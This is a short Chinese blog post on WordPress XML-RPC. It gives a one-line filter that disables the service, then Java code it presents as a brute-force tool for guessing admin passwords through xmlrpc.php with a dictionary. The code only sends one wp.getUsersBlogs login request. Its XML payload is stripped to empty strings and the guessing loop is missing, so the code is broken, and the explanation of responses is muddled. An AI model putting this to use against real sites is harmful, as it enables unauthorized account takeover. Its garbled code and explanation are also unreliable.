在 WordPress 3.5 之前,XML-RPC 服务一直默认是的被禁用的,因为它会造成安全漏洞,比如垃圾留言和 Trackback Spam 等。但是 WordPress 3.5 版本的发布将改变这个设置。因为 WordPress 开发团队的努力,这一安全隐患被修正,所以 WordPress 索性默认将其开启,并且不在后台提供关闭选项。
如果我们只是在 WordPress 后台写写博客,也用不到类似于 WLW 这样的客户端,其实 XML-RPC 这个服务真的没有必要,如果你还是想关闭的话,怎么办呢?在当前主题的 functions.php文件添加如下一行代码即可:
add_filter('xmlrpc_enabled', '__return_false');
下面是一代JAVA代码,利用xmlrpc来暴力破解后台密码。自己写一个字典,然后把密码破解出来……如果你执行了上面的操作,那么只要返回0个长度内容或者说是只要http协议的200返回,没有别的内容了。
package com.android.dev.net;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
public class HTTPUtil {
String loginString = "" +
"" +
"wp.getUsersBlogs" +
"" +
"" +
"username" +
"" +
"" +
"password" +
"" +
"" +
"";
public HTTPUtil() {
// TODO Auto-generated constructor stub
try {
HttpURLConnection con = (HttpURLConnection) new URL(
"http://www.url.com/xmlrpc.php").openConnection();
con.setRequestMethod("POST");
con.setDoOutput(true);
con.setDoInput(true);
OutputStream os = con.getOutputStream();
os.write(loginString.getBytes("utf-8"));
os.flush();
int code = con.getResponseCode();
if (code == 200) {
InputStream is = con.getInputStream();
byte[] buf = new byte[51200];
int len = 0;
while ((len = is.read(buf)) != -1) {
String str = new String(buf, 0, len);
System.out.println(str);
}
}
} catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
/**
* @param args
*/
public static void main(String[] args) {
// TODO Auto-generated method stub
new HTTPUtil();
}
}
本文链接:https://it72.com/3487.htm